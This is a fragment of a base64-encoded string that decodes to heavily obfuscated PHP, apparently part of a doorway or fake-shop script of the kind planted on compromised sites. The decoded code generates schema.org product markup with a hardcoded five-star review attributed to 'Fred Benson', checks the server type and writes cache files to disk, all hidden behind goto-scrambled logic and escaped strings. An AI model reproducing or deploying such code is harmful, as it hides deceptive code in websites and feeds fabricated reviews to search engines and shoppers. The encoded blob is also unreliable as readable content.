DE0NSIgPT4gIlwxMjBcMTYyXHg2ZlwxNDRceDc1XHg2M1wxNjQiLCAiXDE1NlwxNDFcMTU1XDE0NSIgPT4gJE4wcTFwLCAiXDE1MVx4NmRcMTQxXHg2N1x4NjUiID0+ICRVNGpXaSwgIlx4NzNcMTUzXHg3NSIgPT4gJHh2V3dsLCAiXDE1MVx4NjRcMTQ1XDE1Nlx4NzRceDY5XDE0NlwxNTFcMTQ1XDE2MlwxMDVcMTcwXDE1MVx4NzNcMTY0XHg3MyIgPT4gJHF2ZEZ1LCAiXHg2M1x4NjFceDc0XHg2NVx4NjdcMTU3XDE2Mlx4NzkiID0+ICRRNGgzSlsiXDE0M1x4NjFcMTY0XDE0NVx4NjdceDZmXDE2Mlx4NzlceDVmXHg2ZVwxNDFcMTU1XHg2NSJdLCAiXDE0MlwxNjJcMTQxXDE1Nlx4NjQiID0+IFsiXHg0MFwxNjRceDc5XHg3MFwxNDUiID0+ICJceDQyXDE2Mlx4NjFcMTU2XHg2NCIsICJceDZlXDE0MVwxNTVceDY1IiA9PiAkUTRoM0pbIlwxNDJcMTYyXHg2MVx4NmVcMTQ0Il0gPyAkUTRoM0pbIlx4NjJceDcyXHg2MVwxNTZceDY0Il0gOiAiXHg3NVwxNTZcMTUzXHg2ZVx4NmZceDc3XDE1NiJdLCAiXHg2NFwxNDVcMTYzXHg2M1x4NzJcMTUxXHg3MFx4NzRceDY5XDE1N1wxNTYiID0+ICRkdmwzciwgIlwxNTFcMTY0XHg2NVwxNTVcMTAzXDE1N1x4NmVceDY0XDE1MVx4NzRcMTUxXHg2Zlx4NmUiID0+ICRRNGgzSlsiXDE0M1wxNTdcMTU2XHg2NFx4NjlceDc0XHg2OVwxNTdcMTU2Il0sICJcMTQzXHg2Zlx4NzVcMTU2XDE2NFwxNjJcMTcxXDExN1x4NjZcMTE3XDE2Mlx4NjlceDY3XDE1MVwxNTYiID0+ICRRNGgzSlsiXHg2M1wxNTdcMTY1XHg2ZVwxNjRcMTYyXDE3MSJdLCAiXHg3MlwxNDVceDc2XDE1MVwxNDVceDc3IiA9PiBbIlwxMDBceDc0XDE3MVwxNjBcMTQ1IiA9PiAiXDEyMlwxNDVcMTY2XHg2OVx4NjVcMTY3IiwgIlwxNjJceDY1XHg3NlwxNTFceDY1XDE2N1wxMjJceDYxXDE2NFwxNTFcMTU2XHg2NyIgPT4gWyJcMTAwXDE2NFwxNzFceDcwXHg2NSIgPT4gIlx4NTJceDYxXDE2NFwxNTFceDZlXDE0NyIsICJcMTYyXDE0MVx4NzRcMTUxXDE1NlwxNDdceDU2XHg2MVx4NmNceDc1XDE0NSIgPT4gJFRjQXloLCAiXHg2Mlx4NjVceDczXDE2NFx4NTJcMTQxXDE2NFwxNTFcMTU2XDE0NyIgPT4gIlw2NSJdLCAiXDE0MVwxNjVceDc0XHg2OFwxNTdceDcyIiA9PiBbIlx4NDBcMTY0XHg3OVx4NzBceDY1IiA9PiAiXHg1MFwxNDVceDcyXHg3M1x4NmZceDZlIiwgIlwxNTZceDYxXDE1NVx4NjUiID0+ICJceDQ2XDE2MlwxNDVcMTQ0XDQwXDEwMlwxNDVcMTU2XHg3M1x4NmZcMTU2Il1dLCAiXHg2MVx4NjdcMTQ3XDE2Mlx4NjVceDY3XDE0MVx4NzRcMTQ1XDEyMlwxNDFceDc0XHg2OVwxNTZceDY3IiA9PiBbIlx4NDBcMTY0XHg3OVwxNjBcMTQ1IiA9PiAiXHg0MVx4NjdcMTQ3XDE2Mlx4NjVcMTQ3XHg2MVx4NzRcMTQ1XHg1MlwxNDFcMTY0XHg2OVx4NmVcMTQ3IiwgIlwxNjJcMTQxXHg3NFx4NjlceDZlXHg2N1wxMjZcMTQxXHg2Y1wxNjVceDY1IiA9PiAkVGNBeWgsICJceDcyXHg2NVx4NzZcMTUxXDE0NVwxNjdceDQzXHg2ZlwxNjVcMTU2XDE2NCIgPT4gJFE0aDNKWyJceDY4XDE1MVwxNjRceDVmXHg2M1wxNTdcMTY1XHg2ZVx4NzQiXSA8PSAwID8gMSA6ICRRNGgzSlsiXHg2OFx4NjlceDc0XDEzN1wxNDNceDZmXHg3NVwxNTZceDc0Il1dLCAiXDE1N1wxNDZceDY2XHg2NVx4NzJceDczIiA9PiBbIlx4NDBcMTY0XHg3OVwxNjBcMTQ1IiA9PiAiXHg0ZlwxNDZceDY2XDE0NVwxNjIiLCAiXHg3NVwxNjJcMTU0IiA9PiAkWDlOY3MgLiAkdGhpcy0+TjBrX3UgLiAkdGhpcy0+UkxfaW0oKSAuIHVybGRlY29kZSgkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXDEyNVwxMDVcMTIzXDEyNFwxMzdceDU1XHg1MlwxMTEiXSksICJceDcwXHg3MlwxNTFcMTQzXDE0NVwxMjZcMTQxXHg2Y1x4NjlceDY0XHg1NVwxNTZcMTY0XHg2OVx4NmMiID0+ICRYNUFXWiwgIlwxNjBcMTYyXHg2OVx4NjNceDY1XHg1M1x4NzBceDY1XDE0M1x4NjlceDY2XHg2OVwxNDNceDYxXDE2NFx4NjlceDZmXDE1NiIgPT4gWyJceDcwXHg3Mlx4NjlceDYzXDE0NSIgPT4gJHJvcmZXLCAiXDE2MFx4NzJceDY5XHg2M1wxNDVcMTAzXDE2NVwxNjJcMTYyXDE0NVwxNTZcMTQzXHg3OSIgPT4gJFNpOWFpLCAiXHg3NlwxNDFceDZjXHg3NVwxNDVcMTAxXHg2NFwxNDRcMTQ1XHg2NFwxMjRcMTQxXHg3OFwxMTFceDZlXDE0M1x4NmNceDc1XHg2NFx4NjVcMTQ0IiA9PiAiXDE0Nlx4NjFceDZjXDE2M1wxNDUiXSwgIlwxNDFcMTY2XHg2MVwxNTFcMTU0XHg2MVx4NjJcMTUxXDE1NFwxNTFceDc0XDE3MSIgPT4gIlx4NjhceDc0XHg3NFx4NzBcNzJceDJmXDU3XDE2M1wxNDNcMTUwXHg2NVwxNTVceDYxXHgyZVwxNTdceDcyXDE0N1w1N1x4NDlcMTU2XHg1M1wxNjRceDZmXHg2M1x4NmIiLCAiXDE2M1x4NjVcMTU0XHg2Y1wxNDVceDcyIiA9PiBbIlwxMDBcMTY0XDE3MVwxNjBcMTQ1IiA9PiAiXDExN1x4NzJcMTQ3XDE0MVwxNTZcMTUxXHg3YVx4NjFceDc0XDE1MVwxNTdceDZlIiwgIlwxNTZcMTQxXDE1NVwxNDUiID0+ICcnLCAiXDE2NVwxNjJceDZjIiA9PiAkWDlOY3MgLiAkdGhpcy0+TjBrX3UgLiAkdGhpcy0+UkxfaW0oKV1dLCAiXDE0MVwxNDRcMTQ0XHg2OVx4NzRcMTUxXHg2ZlwxNTZceDYxXHg2Y1x4NTBcMTYyXDE1N1x4NzBcMTQ1XDE2MlwxNjRcMTcxIiA9PiAkTXpPRlBdOyBnb3RvIE8yckh0OyBHT1I1aTogJFg5TmNzID0gaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDUzIl0pICYmICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEyMyJdID09ICJceDZmXDE1NiIgfHwgaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XDEzMFx4NWZcMTA2XHg0Zlx4NTJceDU3XDEwMVx4NTJceDQ0XDEwNVx4NDRceDVmXHg1MFx4NTJceDRmXDEyNFx4NGYiXSkgJiYgJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXDEzMFwxMzdcMTA2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XHg0NVwxMDRceDVmXDEyMFwxMjJceDRmXDEyNFx4NGYiXSA9PSAiXHg2OFx4NzRcMTY0XDE2MFx4NzMiID8gIlx4NjhceDc0XHg3NFwxNjBceDczXDcyXHgyZlw1NyIgOiAiXDE1MFx4NzRcMTY0XDE2MFw3Mlx4MmZceDJmIjsgZ290byBpVmVWUjsgRXlXNms6IFcxNlR0OiBnb3RvIFUxT1E0OyBGZzlOWjogJE4wcTFwID0gc3RyaXBfdGFncygkUTRoM0pbIlwxNjRcMTUxXDE2NFwxNTRceDY1Il0pOyBnb3RvIGp6eUoyOyBFb3dYeTogJHJvcmZXID0gJGJoZE1PWyJceDY0XHg2OVx4NzNceDcwXHg2Y1wxNDFceDc5XHg1ZlwxNjBcMTYyXDE1MVx4NjNcMTQ1Il07IGdvdG8gRjAwUVU7IHRhN1BDOiBnb3RvIE5ibHhtOyBnb3RvIG9QbGNfOyB3b3lkYTogaWYgKCFpc3NldCgkUTRoM0pbIlx4NzNcMTYwXHg2NVx4NjNceDY5XDE0Nlx4NjlcMTQzXHg3MyJdKSkgeyBnb3RvIEVySWRQOyB9IGdvdG8gcXVrRUQ7IE8yckh0OiAkbFcwWFIgPSBqc29uX2VuY29kZSgkWTN6N2gpOyBnb3RvIER3bmRUOyBaYmhTQTogZm9yZWFjaCAoJFE0aDNKWyJceDcwXDE1MVx4NjNcMTY0XHg3NVx4NzJcMTQ1XDE2MyJdIGFzICRvb0ZnUiA9PiAkd3B3VDYpIHsgZ290byBlb1NXczsgQ244ZHg6ICRVNGpXaVtdID0gInskWDlOY3N9eyR0aGlzLT5OMGtfdX17JHRoaXMtPlJsX2ltKCl9eyR3cHdUNn0iOyBnb3RvIE95SkZlOyBFVmpyTjogWldIRDA6IGdvdG8gclp3TFk7IEZWSGZTOiB4c19fVzogZ290byBKYXAyMTsgT3lKRmU6IGdvdG8geHNfX1c7IGdvdG8gRVZqck47IEphcDIxOiBaV1J3NDogZ290byBOODNFRDsgZW9TV3M6IGlmICgkdGhpcy0+VGVpSEQgfHwgc3RyaXBvcygkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXDEyNlx4NDVceDUyXHg1Zlx4NTNceDRmXHg0Nlx4NTRcMTI3XDEwMVx4NTJcMTA1Il0sICJceDZlXHg2N1wxNTFceDZlXDE3MCIpICE9PSBmYWxzZSkgeyBnb3RvIFpXSEQwOyB9IGdvdG8gQ244ZHg7IHJad0xZOiAkVTRqV2lbXSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWNcNTdcMTYzXDE2NFx4NjFceDc0XDE1MVx4NjNceDVjXHgyZlx4MjhceDJlXDUyXDUxXHgyZiIsICJ7JFg5TmNzfXskdGhpcy0+TjBrX3V9eyR0aGlzLT5SbF9pbSgpfVx4M2ZceDc0XHgzZFwxNjNceDc0XDE0MVwxNjRcMTUxXHg2M1w0NlwxNjBcNzVcMTYzXDE2NFwxNDFceDc0XDE1MVx4NjNcNDZceDY1XDc1XHgyNFx4MzEiLCAkd3B3VDYpOyBnb3RvIEZWSGZTOyBOODNFRDogfSBnb3RvIEU1X1VXOyBvc2NxczogaWYgKGVtcHR5KCRRNGgzSlsiXHg2ZFx4NzBcMTU2Il0pICYmIGVtcHR5KCRRNGgzSlsiXDE1MVwxNjNcMTQyXHg2ZSJdKSAmJiBlbXB0eSgkUTRoM0pbIlx4NjdcMTY0XDE1MVwxNTYiXSkgJiYgZW1wdHkoJFE0aDNKWyJcMTQ3XHg3NFx4NjlcMTU2XDcwIl0pICYmIGVtcHR5KCRRNGgzSlsiXDE0N1wxNjRceDY5XDE1Nlw2MVw2MyJdKSAmJiBlbXB0eSgkUTRoM0pbIlx4NjdceDc0XHg2OVx4NmVcNjFcNjQiXSkpIHsgZ290byBHRE8wQzsgfSBnb3RvIHp0dFdsOyB6NVJ6MTogJFg1QVdaID0gZGF0ZSgiXHg1OVx4MmRceDZkXHgyZFwxNDQiLCBzdHJ0b3RpbWUoIlwxNTZceDY1XHg3OFwxNjRcNDBcMTcxXDE0NVx4NjFcMTYyIikpOyBnb3RvIHBnaGhzOyBFNV9VVzogZndDOHE6IGdvdG8gcnRRTTg7IEFKMW40OiAkYmhkTU8gPSAkdGhpcy0+d3pLUkEoJFE0aDNKWyJcMTQzXHg3NVwxNjJceDcyXDE0NVx4NmVcMTY0XHg1Zlx4NzBcMTYyXHg2OVwxNDNceDY1Il0pOyBnb3RvIEVvd1h5OyBqenlKMjogJGR2bDNyID0gZW1wdHkoc3RyX3JlcGxhY2UoIlx4MjAiLCAnJywgJExuM3ljKSkgPyAkTjBxMXAgOiAkTG4zeWM7IGdvdG8gZEFJMEU7IHBnaGhzOiAkU2k5YWkgPSAkUTRoM0pbIlwxNDNcMTY1XHg3Mlx4NzJceDY1XHg2ZVwxNDNceDc5XDEzN1x4NjlcMTQ0Il07IGdvdG8gQUoxbjQ7IEYwMFFVOiAkTG4zeWMgPSBodG1sc3BlY2lhbGNoYXJzKCRRNGgzSlsiXHg2NFwxNDVceDczXHg2M1wxNjJcMTUxXHg3MFx4NzRceDY5XHg2ZlwxNTYiXSwgRU5UX1FVT1RFUyk7IGdvdG8gRmc5Tlo7IHp0dFdsOiAkcXZkRnUgPSAiXHg3OVwxNDVcMTYzIjsgZ290byB0YTdQQzsgVUcxRXU6IE5ibHhtOiBnb3RvIE5kNUZSOyBkQUkwRTogJGR2bDNyID0gbWJfc3Vic3RyKGh0bWxzcGVjaWFsY2hhcnMoJGR2bDNyLCBFTlRfUVVPVEVTKSwgMCwgNTAwMCk7IGdvdG8gSHo5WUg7IE5JVnZyOiAkVTRqV2kgPSBbXTsgZ290byBQYVhkQzsgSHo5WUg6ICR4dld3bCA9ICR0aGlzLT5tWG1aeigiXHg3M1x4NmJceDc1IiAuICRRNGgzSlsiXDE1MVx4NzRceDY1XHg2ZFwxMzdceDY5XHg2NCJdKTsgZ290byBvc2Nxczsgc2xtNjY6ICRUNzA1dSA9IGFycmF5KCJceDQzXDE1N1wxNTZceDY0XDE1MVwxNjRceDY5XDE1N1wxNTYiID0+ICJceDYzXHg2Zlx4NmVcMTQ0XDE1MVwxNjRceDY5XDE1N1wxNTYiLCAiXHg1N1x4NjVceDY5XHg2N1wxNTBcMTY0IiA9PiAiXHg3N1x4NjVcMTUxXDE0N1wxNTBceDc0IiwgIlwxMTBceDY1XDE1MVx4NjdcMTUwXDE2NCIgPT4gIlx4NjhceDY1XDE1MVx4NjdcMTUwXDE2NCIsICJceDU3XHg2OVwxNDRcMTY0XDE1MCIgPT4gIlwxNjdceDY5XHg2NFx4NzRceDY4IiwgIlwxMDNceDZmXHg2Y1x4NmZceDcyIiA9PiAiXDE0M1wxNTdceDZjXDE1N1x4NzIiLCAiXDExNVx4NTBceDRlIiA9PiAiXHg2ZFx4NzBcMTU2IiwgIlwxMDdcMTI0XHg0OVx4NGUiID0+ICJceDY3XDE2NFwxNTFcMTU2IiwgIlx4NDdceDU0XDExMVwxMTZceDM4IiA9PiAiXHg2N1wxNjRcMTUxXDE1Nlw3MCIsICJceDQ3XHg1NFwxMTFceDRlXHgzMVx4MzMiID0+ICJceDY3XHg3NFwxNTFceDZlXHgzMVx4MzMiLCAiXHg0N1wxMjRceDQ5XHg0ZVw2MVw2NCIgPT4gIlx4NjdceDc0XHg2OVx4NmVcNjFceDM0IiwgIlwxMTFcMTIzXDEwMlwxMTYiID0+ICJceDY5XDE2M1wxNDJcMTU2IiwgIlx4NDJcMTYyXDE0MVwxNTZceDY0IiA9PiAiXHg2Mlx4NzJceDYxXHg2ZVwxNDQiLCAiXHg0NFwxNDVceDcwXHg3NFx4NjgiID0+ICJcMTQ0XHg2NVwxNjBceDc0XHg2OCIsICJceDRkXDE0MVx4NzRcMTQ1XDE2MlwxNTFceDYxXDE1NCIgPT4gIlx4NmRcMTQxXHg3NFx4NjVceDcyXDE1MVx4NjFcMTU0Iik7IGdvdG8gR09SNWk7IG9QbGNfOiBHRE8wQzogZ290byBaS0VYVzsgcnRRTTg6IHBxU2RNOiBnb3RvIGlpWjFLOyBxdWtFRDogZm9yZWFjaCAoJFE0aDNKWyJceDczXHg3MFx4NjVcMTQzXHg2OVx4NjZceDY5XDE0M1wxNjMiXSBhcyAkb29GZ1IgPT4gJHdwd1Q2KSB7IGdvdG8gTWRRSVg7IFJrZ0xsOiBiMDJhVjogZ290byBhWmpzejsgVVFzcE46IGFycmF5X3B1c2goJE16T0ZQLCBbIlwxMDBcMTY0XHg3OVx4NzBcMTQ1IiA9PiAiXHg1MFwxNjJceDZmXDE2MFwxNDVcMTYyXDE2NFwxNzFceDU2XDE0MVx4NmNcMTY1XDE0NSIsICJcMTU2XDE0MVwxNTVcMTQ1IiA9PiAkb29GZ1IsICJceDc2XDE0MVx4NmNcMTY1XHg2NSIgPT4gJHdwd1Q2XSk7IGdvdG8gUmtnTGw7IEpSNzVFOiBidm9FMzogZ290byBVUXNwTjsgTWRRSVg6IGZvcmVhY2ggKCRUNzA1dSBhcyAkWV9yQVkgPT4gJEoyUUZTKSB7IGdvdG8gR1dnNnU7IG80M19kOiBtV0lkdTogZ290byByTGtaSjsgR1dnNnU6IGlmICghKGVtcHR5KCRRNGgzSlskSjJRRlNdKSAmJiAkb29GZ1IgPT0gJFlfckFZKSkgeyBnb3RvIG1XSWR1OyB9IGdvdG8gWEhOWjQ7IFhITlo0OiAkUTRoM0pbJEoyUUZTXSA9ICR3cHdUNjsgZ290byBvNDNfZDsgckxrWko6IEJuSFpYOiBnb3RvIHMxSjdpOyBzMUo3aTogfSBnb3RvIEpSNzVFOyBhWmpzejogfSBnb3RvIEV5VzZrOyBVMU9RNDogRXJJZFA6IGdvdG8gTklWdnI7IER3bmRUOiByZXR1cm4gIlw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDNjXHg3M1wxNDNceDcyXDE1MVwxNjBcMTY0XDQwXHg3NFx4NzlceDcwXHg2NVw3NVw0MlwxNDFceDcwXDE2MFx4NmNcMTUxXHg2M1wxNDFcMTY0XDE1MVx4NmZcMTU2XDU3XDE1NFx4NjRceDJiXDE1MlwxNjNceDZmXHg2ZVw0Mlw3NnskbFcwWFJ9XDc0XHgyZlx4NzNcMTQzXDE2MlwxNTFcMTYwXHg3NFx4M2UiOyBnb3RvIHJvZTJvOyByb2UybzogfSBwdWJsaWMgZnVuY3Rpb24gckxfaU0oKSB7IGdvdG8gemU4UUI7IEZIcF91OiBOQmk1MjogZ290byBxZmI2cjsgWlpvRHQ6IGlmICghKCEkdGhpcy0+VGVpSEQgfHwgc3RyaXBvcygkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXDEyNlwxMDVcMTIyXHg1ZlwxMjNceDRmXDEwNlx4NTRceDU3XDEwMVx4NTJceDQ1Il0sICJceDZlXHg2N1x4NjlcMTU2XDE3MCIpID09PSBmYWxzZSkpIHsgZ290byBOQmk1MjsgfSBnb3RvIG9xVkRFOyBvcVZERTogJHVsZUxxID0gc3RyX3JlcGxhY2UoIlx4MmZcMTUxXHg2ZVwxNDRceDY1XHg3OFx4MmVcMTYwXDE1MFx4NzAiLCAnJywgJHVsZUxxKTsgZ290byBGSHBfdTsgemU4UUI6ICR1bGVMcSA9IHN0cl9yZXBsYWNlKCJcMTM0IiwgIlw1NyIsICRfU0VSVkVSWyJceDUwXHg0OFwxMjBceDVmXHg1M1x4NDVcMTE0XDEwNiJdKTsgZ290byBaWm9EdDsgcWZiNnI6IHJldHVybiAkdWxlTHE7IGdvdG8gSllBdUY7IEpZQXVGOiB9IHB1YmxpYyBmdW5jdGlvbiBFY0tDeSgkamNKSFYsICRLMmJCSSwgJFN3Z01hKSB7IGdvdG8gZEJNUXU7IHo2cGpZOiBnb3RvIGxoY2YxOyBnb3RvIGlzQTUyOyBkc1FXXzogaWYgKCEoJHdwd1Q2IDwgJG0zNFZtKSkgeyBnb3RvIEdzc1VVOyB9IGdvdG8gUEFyVWc7IGlzQTUyOiBHNG84MzogZ290byB4VjVXQTsgajkyVno6IGlmICghKCR3cHdUNiA+ICREaE9paSkpIHsgZ290byBDQUc4SjsgfSBnb3RvIEFjYWFCOyBSZ2hTSzogJFN3Z01hID0gMjsgZ290byBvenZBRzsgZ19BSmw6IFVGTmxkOiBnb3RvIEN6bXFsOyB3X2tQSTogZ290byBoTE83SDsgZ290byBNX29LNDsgc2xtM186ICRqY0pIViA9IDI7IGdvdG8gek9oQUo7IHM0X0g4OiAkd3B3VDYgPSAxIC8gJFVtc3lYICogJGxvZ215OyBnb3RvIEVVT2YyOyB6T2hBSjogY0c0UTU6IGdvdG8gcGJCRzE7IGRCTVF1OiAkbG9nbXkgPSA1LjA7IGdvdG8gWWJOeWc7IG92OGVMOiBoTE83SDogZ290byBqOTJWejsgVG1JWGs6IGlmICghKCRTd2dNYSA8IDIpKSB7IGdvdG8gdE9sQzQ7IH0gZ290byBSZ2hTSzsgckYzdGc6IEk4a2dNOiBnb3RvIHRXSFlFOyB2SFVJMTogaWYgKCEoJGpjSkhWIDwgMikpIHsgZ290byBjRzRRNTsgfSBnb3RvIHNsbTNfOyBIZG9ndjogJEsyYkJJID0gMjsgZ290byBzT3lYdTsgRVVPZjI6IGdvdG8gV2JVQnc7IGdvdG8gckYzdGc7IEFjYWFCOiAkd3B3VDYgLT0gKCRsb2dteSAtICREaE9paSkgLyAyMDsgZ290byB3X2tQSTsgc095WHU6IERCVlIyOiBnb3RvIFRtSVhrOyBDem1xbDogcmV0dXJuICR3cHdUNjsgZ290byBIWXlldjsgY1l0QUE6IGlmICghKCR3cHdUNiA+ICREaE9paSkpIHsgZ290byBVRk5sZDsgfSBnb3RvIG92OGVMOyB0V0hZRTogJHdwd1Q2ID0gJFVtc3lYICogJGxvZ215OyBnb3RvIEJKRXlLOyBNX29LNDogQ0FHOEo6IGdvdG8gZ19BSmw7IHhWNVdBOiBHc3NVVTogZ290byBUaDQ0MjsgWWJOeWc6ICRjeWE4NyA9IDAuODsgZ290byBUY2g1ZDsgYXl5UmY6ICRtMzRWbSA9ICRsb2dteSAqICRjeWE4NzsgZ290byBkc1FXXzsgSEVUYWo6IGlmICghKCR3cHdUNiA8ICRtMzRWbSkpIHsgZ290byBHNG84MzsgfSBnb3RvIE45U1FOOyBvenZBRzogdE9sQzQ6IGdvdG8gU0ZpT3c7IE45U1FOOiAkd3B3VDYgKz0gKCRsb2dteSAtICRtMzRWbSkgLyAyMDsgZ290byB6NnBqWTsgVGg0NDI6ICREaE9paSA9ICRsb2dteSAqICRjbGRRQTsgZ290byBjWXRBQTsgQkpFeUs6IFdiVUJ3OiBnb3RvIGF5eVJmOyBwYkJHMTogaWYgKCEoJEsyYkJJIDwgMikpIHsgZ290byBEQlZSMjsgfSBnb3RvIEhkb2d2OyBQQXJVZzogbGhjZjE6IGdvdG8gSEVUYWo7IGRWZmdPOiBpZiAoJFVtc3lYIDw9IDEpIHsgZ290byBJOGtnTTsgfSBnb3RvIHM0X0g4OyBUY2g1ZDogJGNsZFFBID0gMC45NTsgZ290byB2SFVJMTsgU0ZpT3c6ICRVbXN5WCA9IGxvZzEwKCRTd2dNYSAqICRLMmJCSSAvICRqY0pIVikgLyBsb2cxMCgkU3dnTWEpOyBnb3RvIGRWZmdPOyBIWXlldjogfSBwdWJsaWMgZnVuY3Rpb24gZ2V0Q2FjaGUoJE4wcTFwLCAka2E4ckEgPSBbXSkgeyBnb3RvIHhTOUF1OyBKbVlxWjogJFpWOG5XID0gaW1wbG9kZSgiXHgyYyIsICRrYThyQSk7IGdvdG8gdkJrSno7IHhTOUF1OiAkdVdvX18gPSBbX19ESVJfXywgc3lzX2dldF90ZW1wX2RpcigpXTsgZ290byBKbVlxWjsgdkJrSno6IGZvcmVhY2ggKCR1V29fXyBhcyAkUTJncXIpIHsgZ290byBhaXpuMDsgd2lCZm46IE1YTnh1OiBnb3RvIHZFblpCOyBhaXpuMDogJHJMSXdmID0gbWQ1KCJ7JHRoaXMtPk4wa191fVwxNzR7JFpWOG5XfVwxNzR7JHRoaXMtPmpSME1XfVwxNzR7JE4wcTFwfSIpIC4gIlx4MmVcMTQ0XHg2MVx4NzRceDYxIjsgZ290byBERFlOdjsgZVFPb3Y6IGdvdG8gUHBtWmQ7IGdvdG8gd2lCZm47IHZFblpCOiBQcG1aZDogZ290byBBSXgxWjsgRERZTnY6ICRsZTcxZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRRMmdxciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzZWxmOjpJTzg3NSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkckxJd2YpOyBnb3RvIHNkY2FqOyBzZGNhajogaWYgKCEoJGxlNzFmID09PSBmYWxzZSkpIHsgZ290byBNWE54dTsgfSBnb3RvIGVRT292OyBBSXgxWjogfSBnb3RvIE1QR19HOyBGSGx0cDogcmV0dXJuICRsZTcxZjsgZ290byBlanNtazsgTVBHX0c6IENaYkxBOiBnb3RvIEZIbHRwOyBlanNtazogfSBwdWJsaWMgZnVuY3Rpb24gbHd0eDMoJE4wcTFwLCAkWDlnWlksICRrYThyQSA9IFtdKSB7IGdvdG8gWnlZWDg7IFp5WVg4OiAkdVdvX18gPSBbX19ESVJfXywgc3lzX2dldF90ZW1wX2RpcigpXTsgZ290byBzM0JzNDsgZ0lRWmk6IGZvcmVhY2ggKCR1V29fXyBhcyAkUTJncXIpIHsgZ290byBHRW5fRDsgVEY2NXg6ICRsZTcxZiA9IGZpbGVfcHV0X2NvbnRlbnRzKCRSUGV3XyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkckxJd2YsICRYOWdaWSk7IGdvdG8gb3ZSdVA7IEJIdTc3OiBpZiAoaXNfZGlyKCRSUGV3XykpIHsgZ290byBvUzhGdzsgfSBnb3RvIHFMaWQ3OyBHRW5fRDogJFJQZXdfID0gJFEyZ3FyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHNlbGY6OklPODc1OyBnb3RvIEJIdTc3OyBDVXZGajogYWRmaTk6IGdvdG8gSkFnQkQ7IG92UnVQOiBpZiAoISgkbGU3MWYgPT09IGZhbHNlKSkgeyBnb3RvIEZUQ3RkOyB9IGdvdG8gT3o5NXU7IHBEb1B5OiBvUzhGdzogZ290byBvWUJlaDsgT3o5NXU6IGdvdG8gYWRmaTk7IGdvdG8geTBXSGE7IHkwV0hhOiBGVEN0ZDogZ290byBDVXZGajsgcUxpZDc6IG1rZGlyKCRSUGV3XywgMDc1NSwgdHJ1ZSk7IGdvdG8gcERvUHk7IG9ZQmVoOiAkckxJd2YgPSBtZDUoInskdGhpcy0+TjBrX3V9XDE3NHskWlY4bld9XDE3NHskdGhpcy0+alIwTVd9XHg3Y3skTjBxMXB9IikgLiAiXDU2XDE0NFx4NjFceDc0XHg2MSI7IGdvdG8gVEY2NXg7IEpBZ0JEOiB9IGdvdG8gTmYyejc7IHMzQnM0OiAkWlY4blcgPSBpbXBsb2RlKCJcNTQiLCAka2E4ckEpOyBnb3RvIGdJUVppOyBOZjJ6NzogR1Iyd2I6IGdvdG8gdzZDM1Q7IHc2QzNUOiB9IHB1YmxpYyBmdW5jdGlvbiBjODFtSigkSG1jMmEgPSAnJykgeyAkVUxOV1IgPSBbIlx4NTVcMTIzXHg0NCIgPT4gIlx4MjQiLCAiXHg0MVwxMjVcMTA0IiA9PiAiXDQ0IiwgIlx4NDJceDUyXDExNCIgPT4gIlwxMjJceDI0IiwgIlx4NDNceDQxXDEwNCIgPT4gIlw0NCIsICJceDQzXHg0OFx4NDYiID0+ICJceDQzXHg0OFwxMDYiLCAiXDEwM1wxMzJceDRiIiA9PiAiXDExM1x4YzRcMjE1IiwgIlx4NDRcMTEzXHg0YiIgPT4gIlw1NVwxNTNcMTYyXHgyZSIsICJceDQ1XDEyNVwxMjIiID0+ICJcMzQyXDIwMlwyNTQiLCAiXDEwN1x4NDJcMTIwIiA9PiAiXDMwMlwyNDMiLCAiXHg0OFx4NGJceDQ0IiA9PiAiXHg0OFx4NGJceDI0IiwgIlwxMTBceDU1XDEwNiIgPT4gIlx4NDZceDc0IiwgIlx4NDlceDRjXHg1MyIgPT4gIlx4ZTJcMjAyXDI1MiIsICJcMTEyXDEyMFx4NTkiID0+ICJcMzAyXHhhNSIsICJcMTE1XDEzMFwxMTYiID0+ICJceDI0IiwgIlx4NGVcMTE3XHg0YiIgPT4gIlw1NVwxNTNceDcyXDU2IiwgIlwxMTZceDVhXDEwNCIgPT4gIlx4MjQiLCAiXDEyMFx4NGNcMTE2IiA9PiAiXHg3YVx4YzVcMjAyIiwgIlwxMjBceDQ4XDEyMCIgPT4gIlwzNDJceDgyXDI2MSIsICJceDUyXDEyNVx4NDIiID0+ICJceGUyXHg4MlwyNzUiLCAiXDEyM1wxMDVcMTEzIiA9PiAiXDU1XHg2Ylx4NzJceDJlIiwgIlx4NTNcMTA3XDEwNCIgPT4gIlx4MjQiLCAiXHg1NFwxMTBceDQyIiA9PiAiXDM0MFx4YjhcMjc3IiwgIlx4NTRceDU3XDEwNCIgPT4gIlwxMTZcMTI0XDQ0IiwgIlx4NDNceDRlXHg1OSIgPT4gIlwzMDJceGE1Il07IHJldHVybiAkSG1jMmEgPyAkVUxOV1JbJEhtYzJhXSA6ICRVTE5XUjsgfSB9IGdvdG8gWDhQWG07IGFlbUpJOiAkYVJWajAtPmluaXQoKTs=',
